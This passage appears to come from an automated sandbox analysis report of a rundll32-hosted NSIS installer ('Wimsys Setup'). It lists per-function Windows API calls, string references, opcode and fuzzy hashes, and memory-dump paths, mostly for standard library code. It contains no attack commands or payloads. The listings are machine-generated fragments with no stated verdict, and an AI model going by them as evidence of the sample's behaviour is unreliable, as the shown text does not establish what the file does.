Part of subcall function 045E31A9: WaitForSingleObject.KERNEL32(?,00000064), ref: 045E31B4
Part of subcall function 045E31A9: GetExitCodeProcess.KERNEL32(?,?), ref: 045E31DB

Part of subcall function 045E219D: CloseHandle.KERNEL32(00000000,045E29A1,00000001,00000000,00000000,?,00000001,045E2AFD), ref: 045E21B4

Strings

<, xrefs: 045E40C3
C:\Users\user~1\AppData\Local\Temp\nssF49D.tmp\nsExec.dll, xrefs: 045E4083
@, xrefs: 045E40F7

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: MessageSend$lstrlen$CloseCodeExecuteExitHandleObjectProcessShellSingleTextWaitWindowlstrcat
String ID: <$@$C:\Users\user~1\AppData\Local\Temp\nssF49D.tmp\nsExec.dll
API String ID: 4079680657-2200042729
Opcode ID: a1f8941f55c52624bb4bcb30b7bd1a7d2996dcd848ea8036ae1040c5fcd5e1b1
Instruction ID: bbf31aba2beef52d31fdd20975592227cfddd7216114336d5014393fb14f7f38
Opcode Fuzzy Hash: a1f8941f55c52624bb4bcb30b7bd1a7d2996dcd848ea8036ae1040c5fcd5e1b1
Instruction Fuzzy Hash: C4214C716083418BD728EF79D89062EB7E5BBC4354F10482EF995C7291EB74E844DB46

Uniqueness

Uniqueness Score: -1.00%

Function 045F88A7 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,045F8858,00000000,?,04620724,?,?,?,045F89FB,00000004,InitializeCriticalSectionEx,04611500,InitializeCriticalSectionEx), ref: 045F88B4
GetLastError.KERNEL32(?,045F8858,00000000,?,04620724,?,?,?,045F89FB,00000004,InitializeCriticalSectionEx,04611500,InitializeCriticalSectionEx,00000000,?,045F8642), ref: 045F88BE
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 045F88E6

Strings

api-ms-, xrefs: 045F88CB

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 71a176bb8459a87706c8737fd60c060ef8bea7fa78db3a46fa48e80e521dfc5f
Instruction ID: 231bb63d24913987610bdffec429f305f90fa63070b45df28929b44637ff36ac
Opcode Fuzzy Hash: 71a176bb8459a87706c8737fd60c060ef8bea7fa78db3a46fa48e80e521dfc5f
Instruction Fuzzy Hash: 3EE01A35680208BBEF202EA0EC06B9A3A55BB01A94F544430FB0DE80A1E7E5A890A945

Uniqueness

Uniqueness Score: -1.00%

Function 0460BA9E Relevance: 6.3, APIs: 4, Instructions: 338fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(592C54D0,?,00000000,?), ref: 0460BB01

Part of subcall function 04605051: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,04601B3A,?,00000000,-00000008), ref: 046050FD

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0460BD5C
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 0460BDA4
GetLastError.KERNEL32 ref: 0460BE47

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 6f379172ec4c6d4fa877b8dab8447ca1733f93f15c5e89acec0b5a80e0bb74f4
Instruction ID: e512f2c3868b6831f8ac86817f0157507c764b37f0e1c801f8e6095b3698072b
Opcode Fuzzy Hash: 6f379172ec4c6d4fa877b8dab8447ca1733f93f15c5e89acec0b5a80e0bb74f4
Instruction Fuzzy Hash: 65D16B75D00248AFDB19CFE8D8809AEBBB5FF48704F18856AE915EB391E730B941CB50

Uniqueness

Uniqueness Score: -1.00%

Function 045F787B Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 045F7942
___AdjustPointer.LIBCMT ref: 045F7965
___AdjustPointer.LIBCMT ref: 045F7A01

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 726104e6d6583d4f221ed25a3aafe33529911724757d6fd8216b117841353933
Instruction ID: abfa62768078745503c463fe51e1e9638438b3977521f5412637aa79315e0a2e
Opcode Fuzzy Hash: 726104e6d6583d4f221ed25a3aafe33529911724757d6fd8216b117841353933
Instruction Fuzzy Hash: BB510472A04606AFEB298F54EE40B7A77A5FF48314F14452DDF4247A90E731F980EB92

Uniqueness

Uniqueness Score: -1.00%

Function 045EC8E0 Relevance: 6.1, APIs: 4, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,045EC503), ref: 045EC91D
CheckTokenMembership.ADVAPI32(00000000,045EC503,00000000), ref: 045EC92F
GetLastError.KERNEL32 ref: 045EC939
FreeSid.ADVAPI32(045EC503), ref: 045EC949

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: AllocateCheckErrorFreeInitializeLastMembershipToken
String ID:
API String ID: 3835361876-0
Opcode ID: 1cb1b149210c949b32e2bbf393c22478c001af90ec11d8bae4500d599acac865
Instruction ID: 5b4f3de530a066bba1c90789adc93dc9dbe9b668c6ac12359d34ba6e93597473
Opcode Fuzzy Hash: 1cb1b149210c949b32e2bbf393c22478c001af90ec11d8bae4500d599acac865
Instruction Fuzzy Hash: 70012D74E00219ABDB14DFA5D859BAFBBF8FF08651F404059EA05E7241E774AD048BA1

Uniqueness

Uniqueness Score: -1.00%

Function 045E26F0 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 45stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32([Rename],00000000,00000000,00000000,00000000,?,045E2A64,00000000), ref: 045E2706
lstrlenA.KERNEL32(00000000,?,045E2A64,00000000), ref: 045E270B
lstrlenA.KERNEL32(00000000,?,045E2A64,00000000), ref: 045E2741

Strings

[Rename], xrefs: 045E26FF

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: lstrlen
String ID: [Rename]
API String ID: 1659193697-582330332
Opcode ID: 79d4b51153e5e5a1631ec600eec12795dd372ed97834130962e1dcd7ff0ca0c7
Instruction ID: 784c1cf579609f43a2e4c66c78b06764141c6019b5a4d93b803f87c091e1bb85
Opcode Fuzzy Hash: 79d4b51153e5e5a1631ec600eec12795dd372ed97834130962e1dcd7ff0ca0c7
Instruction Fuzzy Hash: 4EF08139609712ABC319DF29AC4097BBFD8FFC9250F580869F844C3301EA65EC4486F6

Uniqueness

Uniqueness Score: -1.00%

Function 045F39E5 Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(0000000F,00000400,?,?,?,?,00000000,00000000,?,?,?,045EAA57,?,00000000,?,00000000), ref: 045F3A02
GetLastError.KERNEL32(?,?,?,045EAA57,?,00000000,?,00000000,00000000), ref: 045F3A0E
WideCharToMultiByte.KERNEL32(0000000F,00000000,?,?,?,?,00000000,00000000,?,?,?,045EAA57,?,00000000,?,00000000), ref: 045F3A34
GetLastError.KERNEL32(?,?,?,045EAA57,?,00000000,?,00000000,00000000), ref: 045F3A40

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: ByteCharErrorLastMultiWide
String ID:
API String ID: 203985260-0
Opcode ID: 30f21f7487da61765f02ee402c0a03a7eb117299274728757b53c4a06f621353
Instruction ID: 79f2435b152b3bc7165e6742d14e9c20368c6266592ccf0b6ff5456550c0134a
Opcode Fuzzy Hash: 30f21f7487da61765f02ee402c0a03a7eb117299274728757b53c4a06f621353
Instruction Fuzzy Hash: A801C236600155BB9F225E96DC08C9B3F6AFFC97A1B104015FF4595120D671DC61EBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0460D616 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,?,0460CFEC,?,00000001,?,?,?,0460BE9B,?,?,00000000), ref: 0460D62D
GetLastError.KERNEL32(?,0460CFEC,?,00000001,?,?,?,0460BE9B,?,?,00000000,?,?,?,0460C422,?), ref: 0460D639

Part of subcall function 0460D5FF: CloseHandle.KERNEL32(FFFFFFFE,0460D649,?,0460CFEC,?,00000001,?,?,?,0460BE9B,?,?,00000000,?,?), ref: 0460D60F

___initconout.LIBCMT ref: 0460D649

Part of subcall function 0460D5C1: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,0460D5F0,0460CFD9,?,?,0460BE9B,?,?,00000000,?), ref: 0460D5D4

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,0460CFEC,?,00000001,?,?,?,0460BE9B,?,?,00000000,?), ref: 0460D65E

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 75abffc4329a6aa07e140f630c07d11f3a11087963d9019696ee9d6c651deda9
Instruction ID: 6dd78b5a70100ab5b1b59a1fb97dc08553e3ed62893420479a23d7e0a8562fc3
Opcode Fuzzy Hash: 75abffc4329a6aa07e140f630c07d11f3a11087963d9019696ee9d6c651deda9
Instruction Fuzzy Hash: FDF01C36540114BBCF2A5FD1EC04E8B3F66EF082A0F089151FA1986160E6B69D60DB90

Uniqueness

Uniqueness Score: -1.00%

Function 045E1AE2 Relevance: 6.0, APIs: 4, Instructions: 27COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,045E1DA0,?,00000000,?,?,?,?,?,?,?,?,?,045E1447), ref: 045E1AF0
GetTickCount.KERNEL32 ref: 045E1B0E
CreateDialogParamW.USER32(0000006F,00000000,045E1A42,00000000), ref: 045E1B2D
ShowWindow.USER32(00000000,00000005,?,00000000,?,?,?,?,?,?,?,?,?,045E1447), ref: 045E1B3B

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 0d563fe3501be7d208e48b2e934db0bb4e6eac10376b59de06af92095856768a
Instruction ID: dd21ed40f59f3ab588afebc8916d744b9dda94f90d5bd3b50e1b9690b6bc5110
Opcode Fuzzy Hash: 0d563fe3501be7d208e48b2e934db0bb4e6eac10376b59de06af92095856768a
Instruction Fuzzy Hash: B9F01C30655A01FFEF3C8BA1FA1EBBA36A4F780702F546428F107D5080F6BDA844EA50

Uniqueness

Uniqueness Score: -1.00%

Function 045F4655 Relevance: 6.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

SleepConditionVariableCS.KERNELBASE(?,045F45F2,00000064), ref: 045F4678
LeaveCriticalSection.KERNEL32(04620678,?,?,045F45F2,00000064,?,?,045F02DB,046200F8,?,?,00000000), ref: 045F4682
WaitForSingleObjectEx.KERNEL32(?,00000000,?,045F45F2,00000064,?,?,045F02DB,046200F8,?,?,00000000), ref: 045F4693
EnterCriticalSection.KERNEL32(04620678,?,045F45F2,00000064,?,?,045F02DB,046200F8,?,?,00000000), ref: 045F469A

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: CriticalSection$ConditionEnterLeaveObjectSingleSleepVariableWait
String ID:
API String ID: 3269011525-0
Opcode ID: c4b361cc09eb3cfdfa1818b235c8bd1bd1e1793b398b4a0549e54a7ef4e8008f
Instruction ID: c4ae8e50d9deae30ffada55a4dd4aa9d35d08aad2e53a21e574a1bbef7e2b794
Opcode Fuzzy Hash: c4b361cc09eb3cfdfa1818b235c8bd1bd1e1793b398b4a0549e54a7ef4e8008f
Instruction Fuzzy Hash: C0E09231781A34BBC7211F60ED099AB3F28FB4A712B005050FB097A120EBA52E509FD5

Uniqueness

Uniqueness Score: -1.00%

Function 045F0A20 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 267COMMON

Download Yara Rule

APIs

Part of subcall function 045EAF40: std::locale::_Init.LIBCPMT ref: 045EAFF8

std::locale::_Init.LIBCPMT ref: 045F0ABB

Part of subcall function 045F332F: __EH_prolog3.LIBCMT ref: 045F3336
Part of subcall function 045F332F: std::_Lockit::_Lockit.LIBCPMT ref: 045F3341
Part of subcall function 045F332F: std::locale::_Setgloballocale.LIBCPMT ref: 045F335C
Part of subcall function 045F332F: _Yarn.LIBCPMT ref: 045F3372
Part of subcall function 045F332F: std::_Lockit::~_Lockit.LIBCPMT ref: 045F33B2

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 045F0DAE

Strings

0, xrefs: 045F0B63

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: std::locale::_$InitLockitstd::_$H_prolog3Ios_base_dtorLockit::_Lockit::~_SetgloballocaleYarnstd::ios_base::_
String ID: 0
API String ID: 2751663797-4108050209
Opcode ID: 67f09a9303deb31b28fefca0466fd7248d27c6e3be8acbe436f87bb3ada88bd7
Instruction ID: 819f7452143b707016af200f74032166c10ae2cbf7a7d1e5c5dc895ba7bfb2fc
Opcode Fuzzy Hash: 67f09a9303deb31b28fefca0466fd7248d27c6e3be8acbe436f87bb3ada88bd7
Instruction Fuzzy Hash: 37B1A275A00308DFDB24CF68C884B9EBBF5BF85304F184199D5489B382E771AA44DF42

Uniqueness

Uniqueness Score: -1.00%

Function 045FD18D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 194COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 045FD21D

Strings

pow, xrefs: 045FD1F5, 045FD212

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: e4b16e2064d4194f9ab2825d1a803dbd86ad440fbf646ada23916242455b596e
Instruction ID: 2e10cb8703d145e219ee333e803711a039513e7a512eac754b9b9c00ace15005
Opcode Fuzzy Hash: e4b16e2064d4194f9ab2825d1a803dbd86ad440fbf646ada23916242455b596e
Instruction Fuzzy Hash: 44518B61A0410296EB297A54DD4036F67B0FB80740F14CD59E693423DCFF39A8D9AA8B

Uniqueness

Uniqueness Score: -1.00%

Function 045F7E77 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 045F7E9C

Strings

RCC, xrefs: 045F7EB6
MOC, xrefs: 045F7EAE

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: befec66e440906e2299c11c127e9e7e20247dcaf6f5210af9cfe8d5cc5ad9071
Instruction ID: 43860af984467a4845b4d8bf103f71aee83df99657f10171e6a0ccb504dc3684
Opcode Fuzzy Hash: befec66e440906e2299c11c127e9e7e20247dcaf6f5210af9cfe8d5cc5ad9071
Instruction Fuzzy Hash: BF414871900209AFDF15CF98DD80AAEBBB5FF4C304F158599FA04A7251D335A9A0EB52

Uniqueness

Uniqueness Score: -1.00%

Function 045E5D16 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 045E5D4A
CallWindowProcW.USER32(?,?,?,?), ref: 045E5D95

Part of subcall function 045E514F: SendMessageW.USER32(00000000,00000000,00000000,00000000), ref: 045E515E

Strings

, xrefs: 045E5D2B

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: b47f628b653d4517dda4603397ebd52f60cb9ac8e38059ab8b6aae9c29498ef3
Instruction ID: 7a106be6a3258d90604755911a8ba38e75df48f4d704ec5512a81c5dfbe4188a
Opcode Fuzzy Hash: b47f628b653d4517dda4603397ebd52f60cb9ac8e38059ab8b6aae9c29498ef3
Instruction Fuzzy Hash: A801B13170024DBFEF285EE3E909ABA3756FBC4369F044432F50583140EA75E991EB90

Uniqueness

Uniqueness Score: -1.00%

Function 045EB510 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 045EB518
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 045EB55C

Part of subcall function 045F342F: _Yarn.LIBCPMT ref: 045F344E
Part of subcall function 045F342F: _Yarn.LIBCPMT ref: 045F3472

Strings

bad locale name, xrefs: 045EB56B

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: Yarnstd::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 1908188788-1405518554
Opcode ID: 715ff5e6ec6cac40845cfbee0998fcf8c8466aef15f7f4053b757fd67aec2b41
Instruction ID: 6076adf20fe22b1b1f3a6bc1ea2423e0bf640bdc06675c3d14cfbc1eb3055045
Opcode Fuzzy Hash: 715ff5e6ec6cac40845cfbee0998fcf8c8466aef15f7f4053b757fd67aec2b41
Instruction Fuzzy Hash: 70F04961101B809EE370DF7A8804743BEE4AF29614F008A6ED98AC7A41E375F1088BA6

Uniqueness

Uniqueness Score: -1.00%

Function 045F4F9B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 045F5027: GetLastError.KERNEL32 ref: 045F5039

IsDebuggerPresent.KERNEL32(?,?,?,045E1092), ref: 045F4FCE
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,045E1092), ref: 045F4FDD

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 045F4FD8

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: DebugDebuggerErrorLastOutputPresentString
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 389471666-631824599
Opcode ID: b52d52d32a08b86db3ad4fd5adba0ff5414a9dcd004f88af7199c0d20dfb353e
Instruction ID: 5878eb1be4ab88063bf7c9e6982096bb73dc044300106c626975fe28ffb8a704
Opcode Fuzzy Hash: b52d52d32a08b86db3ad4fd5adba0ff5414a9dcd004f88af7199c0d20dfb353e
Instruction Fuzzy Hash: 77E039742007118FE3709F69E808707BAE4AB05709B00A81DD98AD6B40E7B4F484DBA2

Uniqueness

Uniqueness Score: -1.00%

Function 045F02EE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 10COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 045F0316

Part of subcall function 045F4583: EnterCriticalSection.KERNEL32(04620678), ref: 045F458D
Part of subcall function 045F4583: LeaveCriticalSection.KERNEL32(04620678), ref: 045F45C0
Part of subcall function 045F4583: RtlWakeAllConditionVariable.NTDLL ref: 045F4637

Strings

1.28.763.1, xrefs: 045F02FE
1.28.763.1, xrefs: 045F02EE

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: CriticalSection$ConditionEnterInit_thread_footerLeaveVariableWake
String ID: 1.28.763.1$1.28.763.1
API String ID: 3840055341-2560111419
Opcode ID: ac19150f19556a28e87ac2a1c6dfc898db19d368bd3dd3acb31d4efe4a4edf5d
Instruction ID: 895ee35553e437f10a530247d5e9370088c1f26dec11fcf67848f90acb03bc26
Opcode Fuzzy Hash: ac19150f19556a28e87ac2a1c6dfc898db19d368bd3dd3acb31d4efe4a4edf5d
Instruction Fuzzy Hash: EFC01216E50742A2A72CEB90EC150A73220FA9A60D3086A03560415150FAA675C8A79A

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rundll32.exePID: 7348, Parent PID: 5668COMMON

Execution Graph

Execution Coverage:	6.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	1099
Total number of Limit Nodes:	37

Executed Functions

Function 03451130 Relevance: 119.7, APIs: 51, Strings: 17, Instructions: 660
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNEL32(00008001), ref: 03451167
GetVersion.KERNEL32 ref: 0345116D
lstrlenA.KERNEL32(UXTHEME), ref: 034511A4
#17.COMCTL32 ref: 034511E4
OleInitialize.OLE32(00000000), ref: 034511EB
SHGetFileInfoW.SHELL32(0348AE40,00000000,?,000002B4,00000000), ref: 03451207
lstrcpynW.KERNEL32(Wimsys Setup,NSIS Error,00000400), ref: 03451222
GetCommandLineW.KERNEL32 ref: 03451224
lstrcpynW.KERNEL32(05BD2020,00000000,00000400), ref: 0345123B
GetModuleHandleW.KERNEL32(00000000), ref: 0345123E
CharNextW.USER32(00000000), ref: 0345127B

Part of subcall function 0345314B: GetModuleHandleA.KERNEL32(00000000,00000000,UXTHEME,034511B9), ref: 03453157
Part of subcall function 0345314B: GetProcAddress.KERNEL32(00000000), ref: 03453174

lstrcpynW.KERNEL32(05BD1820,-00000006,00000400), ref: 03451370
GetTempPathW.KERNEL32(00000400,05BCF820), ref: 0345138C
GetWindowsDirectoryW.KERNEL32(05BCF820,000003FB), ref: 034513B1
lstrcatW.KERNEL32(05BCF820,\Temp), ref: 034513C7
GetTempPathW.KERNEL32(000003FC,05BCF820), ref: 034513E2
lstrcatW.KERNEL32(05BCF820,Low), ref: 034513F4
SetEnvironmentVariableW.KERNEL32(TEMP,05BCF820), ref: 0345140C
SetEnvironmentVariableW.KERNEL32(TMP,05BCF820), ref: 0345141E
